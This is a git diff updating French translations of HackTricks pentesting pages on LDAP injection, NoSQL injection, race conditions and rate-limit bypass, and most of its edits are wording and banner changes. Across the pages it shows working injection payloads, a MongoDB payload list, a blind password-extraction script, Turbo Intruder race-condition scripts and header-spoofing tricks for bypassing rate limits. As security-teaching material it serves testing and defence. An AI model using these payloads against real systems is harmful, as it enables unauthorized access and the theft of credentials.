diff --git a/pentesting-web/ldap-injection.md b/pentesting-web/ldap-injection.md index c86e7531c..36d51609b 100644 --- a/pentesting-web/ldap-injection.md +++ b/pentesting-web/ldap-injection.md @@ -4,21 +4,21 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). {% embed url="https://www.stmcyber.com/careers" %} @@ -32,7 +32,7 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossi [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) {% endcontent-ref %} -**L'injection LDAP** est une attaque ciblant les applications web qui construisent des déclarations LDAP à partir de l'entrée utilisateur. Cela se produit lorsque l'application **ne parvient pas à nettoyer correctement** l'entrée, permettant aux attaquants de **manipuler les déclarations LDAP** via un proxy local, ce qui peut entraîner un accès non autorisé ou une manipulation des données. +**L'injection LDAP** est une attaque ciblant les applications web qui construisent des déclarations LDAP à partir de l'entrée utilisateur. Cela se produit lorsque l'application **ne parvient pas à nettoyer correctement** l'entrée, permettant aux attaquants de **manipuler les déclarations LDAP** via un proxy local, ce qui peut entraîner un accès non autorisé ou une manipulation de données. {% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %} @@ -74,7 +74,7 @@ Ensuite : `(&(objectClass=`**`*)(ObjectClass=*))`** sera le premier filtre (celu ### Contournement de connexion -LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Ainsi, peu importe ce que vous insérez dans le mot de passe, il peut être haché. +LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Ainsi, il se peut qu'indépendamment de ce que vous insérez dans le mot de passe, il soit haché. ```bash user=* password=* @@ -149,7 +149,7 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*)) Payload: void)(objectClass=void))(&objectClass=void Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*)) ``` -#### Dump de données +#### Extraire des données Vous pouvez itérer sur les lettres ASCII, les chiffres et les symboles : ```bash @@ -162,6 +162,8 @@ Vous pouvez itérer sur les lettres ASCII, les chiffres et les symboles : (&(sn=administrator)(password=MB*)) : KO ... ``` +### Scripts + #### **Découvrir les champs LDAP valides** Les objets LDAP **contiennent par défaut plusieurs attributs** qui pourraient être utilisés pour **sauvegarder des informations**. Vous pouvez essayer de **forcer tous ces attributs pour extraire ces informations**. Vous pouvez trouver une liste des [**attributs LDAP par défaut ici**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt). @@ -223,7 +225,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} -
+
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). @@ -231,13 +233,13 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impirat
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/nosql-injection.md b/pentesting-web/nosql-injection.md index 6ef428aba..355082371 100644 --- a/pentesting-web/nosql-injection.md +++ b/pentesting-web/nosql-injection.md @@ -1,6 +1,6 @@ # Injection NoSQL -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -17,12 +17,11 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- ## Exploitation En PHP, vous pouvez envoyer un tableau en changeant le paramètre envoyé de _parameter=foo_ à _parameter\[arrName]=foo._ @@ -56,7 +55,7 @@ username[$exists]=true&password[$exists]=true #### **Injection NoSQL** -Les attaques par injection NoSQL sont similaires aux attaques par injection SQL, mais elles ciblent les bases de données NoSQL comme MongoDB. Les attaquants peuvent exploiter les vulnérabilités de sécurité pour contourner l'authentification et accéder aux données sensibles. Pour prévenir les injections NoSQL, il est recommandé d'utiliser des requêtes paramétrées et de valider et échapper correctement les entrées utilisateur. +Les attaques par injection NoSQL sont similaires aux attaques par injection SQL, mais elles ciblent les bases de données NoSQL comme MongoDB. Les attaquants peuvent exploiter les vulnérabilités de sécurité pour contourner l'authentification et accéder aux données sensibles. Pour prévenir les injections NoSQL, il est recommandé d'utiliser des bibliothèques ou des ORM qui gèrent correctement les requêtes et de mettre en œuvre une validation des données appropriée. ```javascript query = { $where: `this.username == '${username}'` } ``` @@ -93,7 +92,7 @@ in JSON #### **Injection NoSQL** -Les injections NoSQL sont similaires aux injections SQL, mais elles ciblent les bases de données NoSQL comme MongoDB. Les attaquants peuvent exploiter les failles d'injection NoSQL pour contourner l'authentification, accéder à des données sensibles et même exécuter des opérations non autorisées. Pour prévenir les injections NoSQL, il est recommandé d'utiliser des requêtes paramétrées et de valider soigneusement toutes les entrées utilisateur. +Les attaques par injection NoSQL sont similaires aux attaques par injection SQL, mais elles ciblent les bases de données NoSQL comme MongoDB. Les attaquants peuvent exploiter les vulnérabilités de sécurité pour contourner l'authentification et accéder aux données sensibles. Pour prévenir les injections NoSQL, il est recommandé d'utiliser des bibliothèques ou des ORM qui offrent une protection contre ces attaques. ``` /?search=admin' && this.password%00 --> Check if the field password exists /?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password @@ -105,13 +104,13 @@ Les injections NoSQL sont similaires aux injections SQL, mais elles ciblent les ... /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found ``` -### Exécution de fonction arbitraire en PHP +### Exécution arbitraire de fonctions PHP En utilisant l'opérateur **$func** de la bibliothèque [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (utilisée par défaut), il pourrait être possible d'exécuter une fonction arbitraire comme dans [ce rapport](https://swarm.ptsecurity.com/rce-cockpit-cms/). ```python "user":{"$func": "var_dump"} ``` -![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png](<../.gitbook/assets/image (468).png>) +![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit\_auth\_check\_10.png](<../.gitbook/assets/image (468).png>) ### Obtenir des informations à partir de différentes collections @@ -136,17 +135,17 @@ Il est possible d'utiliser [**$lookup**](https://www.mongodb.com/docs/manual/ref } ] ``` -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui : +Accédez dès aujourd'hui à : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Charges utiles MongoDB -Liste [à partir d'ici](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) +Liste [à partir d'ici](https://github.com/cr0hn/nosqlinjection\_wordlists/blob/master/mongodb\_nosqli.txt) ``` true, $where: '1 == 1' , $where: '1 == 1' @@ -212,7 +211,7 @@ if 'OK' in r.text: print("Found one more char : %s" % (password+c)) password += c ``` -### Brute-force login usernames and passwords from POST login +### Brute-force des noms d'utilisateur et des mots de passe à partir de la connexion POST Il s'agit d'un script simple que vous pourriez modifier, mais les outils précédents peuvent également effectuer cette tâche. ```python @@ -275,15 +274,15 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les **outils communautaires les plus avancés** au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/pentesting-web/race-condition.md b/pentesting-web/race-condition.md index 8934ffe72..efc2dc3ce 100644 --- a/pentesting-web/race-condition.md +++ b/pentesting-web/race-condition.md @@ -1,10 +1,10 @@ # Condition de course -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\ -Obtenez l'accès aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Accédez-y aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -32,7 +32,7 @@ Le principal obstacle pour tirer parti des conditions de course est de s'assurer Voici quelques techniques pour synchroniser les requêtes : -#### Attaque en un seul paquet HTTP/2 vs Synchronisation du dernier octet HTTP/1.1 +#### Attaque en un seul paquet HTTP/2 contre la synchronisation du dernier octet HTTP/1.1 * **HTTP/2** : prend en charge l'envoi de deux requêtes sur une seule connexion TCP, réduisant l'impact du jitter du réseau. Cependant, en raison de variations côté serveur, deux requêtes peuvent ne pas suffire pour une exploitation cohérente de la condition de course. * **HTTP/1.1 'Synchronisation du dernier octet'** : permet l'envoi préalable de la plupart des parties de 20 à 30 requêtes, en retenant un petit fragment, qui est ensuite envoyé ensemble, atteignant une arrivée simultanée au serveur. @@ -42,13 +42,13 @@ La **préparation à la synchronisation du dernier octet** implique : 1. Envoyer les en-têtes et les données du corps moins le dernier octet sans terminer le flux. 2. Mettre en pause pendant 100 ms après l'envoi initial. 3. Désactiver TCP\_NODELAY pour utiliser l'algorithme de Nagle pour regrouper les trames finales. -4. Faire un ping pour réchauffer la connexion. +4. Faire un ping pour chauffer la connexion. L'envoi ultérieur des trames retenues devrait entraîner leur arrivée dans un seul paquet, vérifiable via Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les attaques RC. ### Adaptation à l'architecture du serveur -Comprendre l'architecture de la cible est crucial. Les serveurs frontaliers peuvent router les requêtes différemment, affectant le timing. Le réchauffement préventif de la connexion côté serveur, à travers des requêtes insignifiantes, pourrait normaliser le timing des requêtes. +Comprendre l'architecture de la cible est crucial. Les serveurs frontaliers peuvent router les requêtes différemment, affectant le timing. Le préchauffage côté serveur, à travers des requêtes insignifiantes, pourrait normaliser le timing des requêtes. #### Gestion du verrouillage basé sur la session @@ -56,13 +56,13 @@ Les frameworks comme le gestionnaire de session PHP sérialisent les requêtes p #### Surmonter les limites de taux ou de ressources -Si le réchauffement de la connexion est inefficace, déclencher intentionnellement les retards de limite de taux ou de ressources des serveurs Web à travers un déluge de requêtes factices pourrait faciliter l'attaque en un seul paquet en induisant un retard côté serveur propice aux conditions de course. +Si le préchauffage de la connexion est inefficace, déclencher intentionnellement les retards de limite de taux ou de ressources des serveurs web en inondant de fausses requêtes pourrait faciliter l'attaque en un seul paquet en induisant un retard côté serveur propice aux conditions de course. ## Exemples d'attaque -* **Tubo Intruder - Attaque en un seul paquet HTTP2 (1 point de terminaison)** : Vous pouvez envoyer la requête à **Turbo Intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), vous pouvez changer dans la requête la valeur que vous souhaitez forcer brutalement pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` et ensuite sélectionner le **`examples/race-single-packer-attack.py`** dans le menu déroulant : +* **Tubo Intruder - Attaque en un seul paquet HTTP2 (1 point de terminaison)** : Vous pouvez envoyer la requête à **Turbo Intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), vous pouvez changer dans la requête la valeur que vous souhaitez brute forcer pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` puis sélectionner **`examples/race-single-packer-attack.py`** dans le menu déroulant : -
+
Si vous allez **envoyer des valeurs différentes**, vous pourriez modifier le code avec celui-ci qui utilise une liste de mots du presse-papiers : ```python @@ -74,7 +74,7 @@ engine.queue(target.req, password, gate='race1') Si le site web ne prend pas en charge HTTP2 (uniquement HTTP1.1), utilisez `Engine.THREADED` ou `Engine.BURP` au lieu de `Engine.BURP2`. {% endhint %} -* **Tubo Intruder - Attaque à un seul paquet HTTP2 (Plusieurs points d'extrémité)**: Dans le cas où vous devez envoyer une requête à 1 point d'extrémité, puis à plusieurs autres points d'extrémité pour déclencher l'exécution de code à distance, vous pouvez modifier le script `race-single-packet-attack.py` comme suit : +* **Intrus de Tube - Attaque à un seul paquet HTTP2 (Plusieurs points de terminaison)**: Dans le cas où vous devez envoyer une requête à 1 point de terminaison, puis à plusieurs autres points de terminaison pour déclencher l'exécution de code à distance, vous pouvez modifier le script `race-single-packet-attack.py` comme suit : ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -111,9 +111,9 @@ engine.openGate(currentAttempt) * Pour **retarder** le processus **entre** le traitement **d'une requête et d'une autre** en 2 étapes de sous-états, vous pourriez **ajouter des requêtes supplémentaires entre** les deux requêtes. * Pour un RC à **multi-point d'extrémité**, vous pourriez commencer à envoyer la **requête** qui **va vers l'état caché** puis **50 requêtes** juste après qui **exploitent l'état caché**. -
+
-* **Script Python automatisé**: Le but de ce script est de changer l'email d'un utilisateur tout en le vérifiant continuellement jusqu'à ce que le jeton de vérification du nouvel email arrive au dernier email (cela est dû au fait que dans le code, il y avait une RC où il était possible de modifier un email mais de recevoir la vérification sur l'ancien car la variable indiquant l'email était déjà renseignée avec le premier).\ +* **Script python automatisé**: Le but de ce script est de changer l'email d'un utilisateur tout en le vérifiant continuellement jusqu'à ce que le jeton de vérification du nouvel email arrive au dernier email (cela est dû à un RC où il était possible de modifier un email mais de recevoir la vérification sur l'ancien car la variable indiquant l'email était déjà renseignée avec le premier).\ Lorsque le mot "objetivo" est trouvé dans les emails reçus, nous savons que nous avons reçu le jeton de vérification de l'email modifié et nous terminons l'attaque. ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun @@ -244,11 +244,11 @@ response = requests.get(url, verify=False) ``` ### Bruteforce Brut -Avant les recherches précédentes, voici quelques charges utiles utilisées qui tentaient simplement d'envoyer les paquets le plus rapidement possible pour provoquer une RC. +Avant les recherches précédentes, voici quelques charges utiles utilisées qui ont simplement essayé d'envoyer les paquets le plus rapidement possible pour provoquer une RC. * **Répéteur:** Consultez les exemples de la section précédente. -* **Intrus:** Envoyez la **requête** à **Intruder**, définissez le **nombre de threads** sur **30** dans le menu **Options**, sélectionnez comme charge utile **Charges utiles nulles** et générez **30.** -* **Turbo Intruder** +* **Intrus:** Envoyez la **requête** à **Intrus**, définissez le **nombre de threads** sur **30** dans le menu **Options**, sélectionnez comme charge utile **Charges utiles nulles** et générez **30.** +* **Turbo Intrus** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -303,7 +303,7 @@ Il s'agit du type le plus basique de condition de course où des **vulnérabilit Il existe de nombreuses variations de ce type d'attaque, notamment : -* Utiliser plusieurs fois une carte cadeau +* Utiliser plusieurs fois une carte-cadeau * Noter un produit plusieurs fois * Retirer ou transférer de l'argent en excès par rapport à votre solde de compte * Réutiliser une solution CAPTCHA unique @@ -329,7 +329,7 @@ La précision dans la synchronisation des requêtes peut révéler des vulnérab **Pour exploiter :** -* Utilisez une synchronisation précise, comme une attaque en un seul paquet, pour effectuer des demandes de réinitialisation de mot de passe simultanées. Des jetons identiques indiquent une vulnérabilité. +* Utilisez une synchronisation précise, comme une attaque à un seul paquet, pour effectuer des demandes de réinitialisation de mot de passe simultanées. Des jetons identiques indiquent une vulnérabilité. **Exemple :** @@ -353,7 +353,7 @@ Selon [**cette recherche**](https://portswigger.net/research/smashing-the-state- **Consultez ce** [**laboratoire PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **pour essayer cela.** -### États cachés de la base de données / Contournement de la confirmation +### États de base de données cachés / Contournement de la confirmation Si **2 écritures différentes** sont utilisées pour **ajouter** **des informations** dans une **base de données**, il y a un court laps de temps où **seule la première donnée a été écrite** dans la base de données. Par exemple, lors de la création d'un utilisateur, le **nom d'utilisateur** et le **mot de passe** peuvent être **écrits** puis le jeton pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court laps de temps, le **jeton pour confirmer un compte est nul**. @@ -361,9 +361,9 @@ Par conséquent, **enregistrer un compte et envoyer plusieurs requêtes avec un **Consultez ce** [**laboratoire PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **pour essayer cela.** -### Contourner l'authentification à 2 facteurs +### Contournement de l'authentification à deux facteurs -Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court laps de temps, l'**authentification à 2 facteurs n'est pas appliquée** tandis que la session est créée: +Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court laps de temps, l'**authentification à deux facteurs n'est pas appliquée** tandis que la session est créée: ```python session['userid'] = user.userid if user.mfa_enabled: @@ -376,17 +376,17 @@ session['enforce_mfa'] = True Il existe plusieurs [**fournisseurs OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Ces services vous permettront de créer une application et d'authentifier les utilisateurs enregistrés par le fournisseur. Pour ce faire, le **client** devra **autoriser votre application** à accéder à certaines de leurs données à l'intérieur du **fournisseur OAuth**.\ Ainsi, jusqu'ici, il s'agit simplement d'une connexion classique avec google/linkedin/github... où vous êtes invité avec une page disant : "_L'application \ souhaite accéder à vos informations, voulez-vous l'autoriser?_" -#### Condition de course dans `authorization_code` +#### Course Condition dans `authorization_code` -Le **problème** survient lorsque vous **l'acceptez** et envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Condition de Course dans le fournisseur de services OAuth pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. Fondamentalement, elle exploitera le fait que vous avez accepté l'application pour accéder à vos données afin de **créer plusieurs comptes**. Ensuite, si vous **arrêtez d'autoriser l'application à accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**. +Le **problème** survient lorsque vous **l'acceptez** et envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Course Condition dans le fournisseur de services OAuth pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. Fondamentalement, elle exploitera le fait que vous avez accepté l'application pour accéder à vos données pour **créer plusieurs comptes**. Ensuite, si vous **arrêtez d'autoriser l'application à accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**. -#### Condition de course dans `Refresh Token` +#### Course Condition dans `Refresh Token` Une fois que vous avez **obtenu un RT valide**, vous pourriez essayer de **l'exploiter pour générer plusieurs AT/RT** et **même si l'utilisateur annule les autorisations** pour l'application malveillante d'accéder à ses données, **plusieurs RT resteront valides**. ## **CC dans les WebSockets** -Dans [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) vous pouvez trouver un PoC en Java pour envoyer des messages websocket en **parallèle** pour exploiter **les Conditions de Course également dans les Web Sockets**. +Dans [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) vous pouvez trouver un PoC en Java pour envoyer des messages websocket en **parallèle** pour exploiter les **Course Conditions également dans les Web Sockets**. ## Références @@ -400,17 +400,17 @@ Dans [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceConditio Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ diff --git a/pentesting-web/rate-limit-bypass.md b/pentesting-web/rate-limit-bypass.md index 67a6f171e..69154aec3 100644 --- a/pentesting-web/rate-limit-bypass.md +++ b/pentesting-web/rate-limit-bypass.md @@ -1,6 +1,6 @@ # Contournement de la limite de taux -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\ @@ -10,14 +10,14 @@ Accédez dès aujourd'hui à :
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -25,13 +25,16 @@ Autres façons de soutenir HackTricks : ## Techniques de contournement de la limite de taux ### Exploration des points de terminaison similaires + Des tentatives doivent être faites pour effectuer des attaques par force brute sur des variations du point de terminaison ciblé, telles que `/api/v3/sign-up`, y compris des alternatives comme `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up`, etc. ### Incorporation de caractères vides dans le code ou les paramètres + Insérer des octets vides comme `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` dans le code ou les paramètres peut être une stratégie utile. Par exemple, ajuster un paramètre à `code=1234%0a` permet d'étendre les tentatives à travers des variations d'entrée, comme ajouter des caractères de saut de ligne à une adresse e-mail pour contourner les limitations des tentatives. ### Manipulation de l'origine IP via les en-têtes -La modification des en-têtes pour modifier l'origine IP perçue peut aider à contourner la limitation de taux basée sur l'IP. Des en-têtes tels que `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, y compris l'utilisation de plusieurs instances de `X-Forwarded-For`, peuvent être ajustés pour simuler des demandes provenant de différentes adresses IP. + +La modification des en-têtes pour modifier l'origine IP perçue peut aider à contourner la limitation de taux basée sur l'IP. Des en-têtes tels que `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, 